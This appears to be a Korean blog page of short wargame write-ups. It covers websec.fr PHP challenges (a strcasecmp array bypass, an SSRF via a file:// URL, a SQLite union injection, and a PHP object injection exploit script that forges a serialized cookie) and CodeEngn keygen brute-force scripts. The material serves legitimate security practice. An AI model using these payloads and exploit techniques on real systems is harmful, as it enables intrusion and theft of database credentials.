소스보면 간단한 php 트릭이다. strcasecmp를 통해 flag를 비교하고있어서 그냥 배열로 인자넘겨주면 0리턴해서 플래그 출력된다.

 

<?php


if (! strcasecmp ($_POST['flag'], $flag
))
echo 
'<div class="alert alert-success">Here is your flag: <mark>' $flag '</mark>.</div>'
;   
else
echo 
'<div class="alert alert-danger">Invalid flag, sorry.</div>'
;


?>

 

 


 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level 06  (0) 2018.03.08
Websec.fr babysteps level 04  (0) 2018.03.08
Websec.fr babysteps Level 01  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 소스를 제공해주고 있고 ssrf로 서버내 flag.php를 읽어오면 된다.

 

source

 

<?php

if (isset ($_POST['submit'
])) {
    
$url $_POST['url'
];

    
/* People tends to do funny things with curl. */
    
if (preg_match ('/[https?|[st]?ftp|dict|gopher|scp|telnet|ldaps?]\:\/\/.*(\d+|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/i'$url
)) {
        die(
'Please do not access by IP.'
);
    } elseif (
preg_match ('/localhost/i'$url
)) {
        die (
'Please do not access localhost.'
); 
    }

    if (
stripos ($url'/', -1) !== '/') { $url .= '/'
; }
    
$url .= 'index.php'
;

    try {
        
$ch curl_init ($url
);
    
        if (
FALSE === $ch
) {
            throw new 
Exception('failed to initialize'
);    
        } elseif (
defined('CURLOPT_IPRESOLVE') && defined('CURL_IPRESOLVE_V4'
)){
            
curl_setopt($chCURLOPT_IPRESOLVECURL_IPRESOLVE_V4
);
        }       
        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue
);
        
curl_setopt($chCURLOPT_FOLLOWLOCATIONfalse
);
        
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse
);
        
$result curl_exec($ch
);
        
curl_close($ch
);
    } catch (
Exception $e
) {
        
trigger_error (sprintf ('Curl failed with #%d: %s'$e->getCode(), $e->getMessage()), E_USER_ERROR
);
    }
}
?>

 

일단 http를 사용할 수 있고 내가 입력한 값뒤에 /index.php가 붙게 된다.

http://websec.fr/level06/flag.php? 요런식으로 index.php 날려주고 접근해보면 해당파일에 접근이 불가능하고 로컬에서 접근을 하라고한다. file://로 접근해주면 될 것 같은데 처음에 file Wrapper는 http처럼 ?나 #이 적용이 안될거라고 생각해서 시도안하고 다른방법 생각해보다가 도저히 안떠올라서 그냥한번 해볼까 하고 요렇게 file:///flag.php?index.php , file:///flag.php#index.php 시도했는데 파일이 읽혔다. 이게지금 http처럼 파라미터나 #이후 무시되는 현상이 똑같이 일어나서 되는건지  이문제자체를 그렇게 만든건진 모르겠지만 일단 가능성이 존재한다는걸 알았고 앞으로도 한번씩 시도해보면 좋을것 같다.

 

 

 

 

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
Websec.fr babysteps level 04  (0) 2018.03.08
Websec.fr babysteps Level 01  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

아직은 초반이라 그런지 기본적인 개념 문제들이 나오고 있다.

 

PHP Object Injection 문제인데 다음과 같이 소스를 제공하고있다. 

 

source1)

<?php
include 'connect.php'
;

$sql = new SQL
();
$sql->connect
();
$sql->query 'SELECT username FROM users WHERE id='
;


if (isset (
$_COOKIE['leet_hax0r'
])) {
    
$sess_data unserialize (base64_decode ($_COOKIE['leet_hax0r'
]));
    try {
        if (
is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR'
]) {
            die(
'CANT HACK US!!!'
);
        }
    } catch(
Exception $e
) {
        echo 
$e
;
    }
} else {
    
$cookie base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR'
]))) ;
    
setcookie ('leet_hax0r'$cookietime () + (86400 30
));
}

if (isset (
$_REQUEST['id']) && is_numeric ($_REQUEST['id'
])) {
    try {
        
$sql->query .= $_REQUEST['id'
];
    } catch(
Exception $e
) {
        echo 
' Invalid query'
;
    }
}
?>

 

source2)

<?php

class SQL {
    public 
$query '';
    public 
$conn;
    public function 
__construct() {
    }
    
    public function 
connect() {
        
$this->conn = new SQLite3 ("database.db"SQLITE3_OPEN_READONLY);
    }

    public function 
SQL_query($query) {
        
$this->query $query;
    }

    public function 
execute() {
        return 
$this->conn->query ($this->query);
    }

    public function 
__destruct() {
        if (!isset (
$this->conn)) {
            
$this->connect ();
        }
        
        
$ret $this->execute ();
        if (
false !== $ret) {    
            while (
false !== ($row $ret->fetchArray (SQLITE3_ASSOC))) {
                echo 
'<p class="well"><strong>Username:<strong> ' $row['username'] . '</p>';
            }
        }
    }
}
?>

 

 

코드가 매우 간단하고 기본적인 PHP Object Injection 이라 간단히 설명하고 넘어가면 deserialize할 때 쿠키값에 요런식으로 변조된 sql 클래스의 직렬화 데이터를 base64 인코딩해서 넣어주면 된다. 그러면 query가 덮이면서 내가원하는 sql 구문을 실행할 수 있다.

 

O:3:"SQL":2:{s:5:"query";s:40:"select password as username from users--";s:2:"ip";s:14:"210.183.42.143";}

 



exploit.py

import requests


def getFlag(payload):

    url = "http://websec.fr/level04/index.php"

    payload = 'O:3:"SQL":1:{s:5:"query";s:'+str(len(payload))+':"'+payload+'";}'

    headers = {"Cookie":"leet_hax0r="+payload.encode("base64").replace("\n","")+";"}

    result = requests.post(url,headers=headers).text

    print result


payload = "select group_concat(password) as username from users"

getFlag(payload)


'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
Websec.fr babysteps level 06  (0) 2018.03.08
Websec.fr babysteps Level 01  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Websec.fr이라는 난이도 헬이라는 웹 워게임 사이트를 찾았다.

 

쉬운거부터 하나하나 시간날때 풀어봐야겠다.

 

첫문제는 그래도 간단하다.

 

sqlite sql_injection 해주면 된다.

 

1 union select 1,id||'////'||password from users--

 

 

 

'Wargame > websec.fr' 카테고리의 다른 글

Websec.fr easy level 08  (0) 2018.03.08
Websec.fr easy level 02  (0) 2018.03.08
Websec.fr babysteps level17  (0) 2018.03.08
Websec.fr babysteps level 06  (0) 2018.03.08
Websec.fr babysteps level 04  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

 

키젠문제인데 올리로 알고리즘 분석할랫더니 생각보다 복잡해서 ida로 봤는데도 생각보다 많이 헤맸다.

 

핵심 함수. (check_serial함수)

 

 

index값 구해오는 사용자 정의함수 구조(stringFindSecond함수)

 

 

list = "01234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"

strings = "AJXGRFV6BKOW3Y9TM4S2ZU I70H5Q81PDECLNAJXGRFV6BKOW3Y9TM4S2ZU I70H5Q81PDECLNAJXGRFV6BKOW3Y9TM4S2ZU I70H5Q81PDECLN"

serial = "WWWCCCJJJRRR"

result = []

for j in range(0,12,3):
first_index = strings.find(serial[j]) + 1
result1 = strings[first_index:].find(serial[j]) + first_index
for i in range(0,len(list)):
first_index = strings.find(list[i]) + 1
result2 = strings[first_index:].find(list[i]) + first_index
if abs(result2 - result1) <=5:
print str((j+1)/3+1)+"th name = " + list[i]

ida로 확인한 뒤 요런식으로 브루트 포싱해주는 코드짜서 돌리면 name의 각자리수별로 가능한 문자들이 나오는데 정답중 0~9,a~z,A~Z 순서상 가장 먼저 오는 문자열 구하래서 맨위의 문자들 조합해주면 된다.

 

 

 

'Wargame > CodeEngn' 카테고리의 다른 글

CodeEngn advance 9번  (0) 2018.02.28
CodeEngn advance 8번  (0) 2018.02.28
CodeEngn advance 7번  (0) 2018.02.28
CodeEngn advance 6번  (0) 2018.02.08
code engn advance 5번  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

프로그램을 실행해보면 키값을 찾으라고 한다.

 

 

분석을 해보면 아이디 패스워드를 입력받은 후 특정 함수 내부로 들어가는데 총 3가지값을 비교한다.

 

1. 아이디값과 NULL값을 비교.

 

2. 패스워드값을 hex로 변경하여 특정 hex값과 비교.

 

3. 다시 아이디값과 특정 문자열 비교.

 

여기서 1,3이 모순이되는 관계여서 1번 비교할때 강제로 NULL값에 내가입력한 아이디값 넣어서 참이 나오게 만들어서 진행했다.

 

1번째

 

2번째

 

3번째

 

 

 

 

'Wargame > CodeEngn' 카테고리의 다른 글

CodeEngn advance10번  (0) 2018.03.02
CodeEngn advance 8번  (0) 2018.02.28
CodeEngn advance 7번  (0) 2018.02.28
CodeEngn advance 6번  (0) 2018.02.08
code engn advance 5번  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

간단한 키젠 문제.

 

 

 

총 4개의 키젠 생성 구문이 있음.

 

근데 첫번째 키 생성 루틴에 전체 Name값이 다 사용되고 일치하는 값을 구했을때 중복되는 값들이 없어서 나머지 키 생성 루틴을 분석할 필요가 없었음. 맨 앞의 5D88을 만드는 키 생성루틴을 그대로짜서 브루트포싱으로 구했음.

 

 

serial = "5D88"
strings = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

def carry(result):
if len(result) > 10:
result = result[0:2] + result[len(result) - 9:len(result) - 1]
return result

for i in range(0,len(strings)):
for j in range(0,len(strings)):
name = strings[i]+strings[j]
result = "0x00"
for k in range(0,2):
result = hex((int(result,16)+int("0x"+name[k].encode('hex'),16))*0x772)
result = carry(result)

tmp = result
result = hex(int(result, 16) * int(result,16))
result = carry(result)

result = hex(int(result, 16) + int(tmp, 16))
result = carry(result)

result = hex(int(result, 16) *0x474)
result = carry(result)

result = hex(int(result, 16) * 0x2)
result = carry(result)
if result[2:6].lower() == serial.lower():
print "[*]Name = " + name
break

 

 

'Wargame > CodeEngn' 카테고리의 다른 글

CodeEngn advance10번  (0) 2018.03.02
CodeEngn advance 9번  (0) 2018.02.28
CodeEngn advance 7번  (0) 2018.02.28
CodeEngn advance 6번  (0) 2018.02.08
code engn advance 5번  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

CodeEngn advance 7번

2018. 2. 28. 13:31

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

solveme.peng.kr Replace filter

2018. 2. 28. 00:15

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

solveme.peng.kr BadCompare

2018. 2. 28. 00:10

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.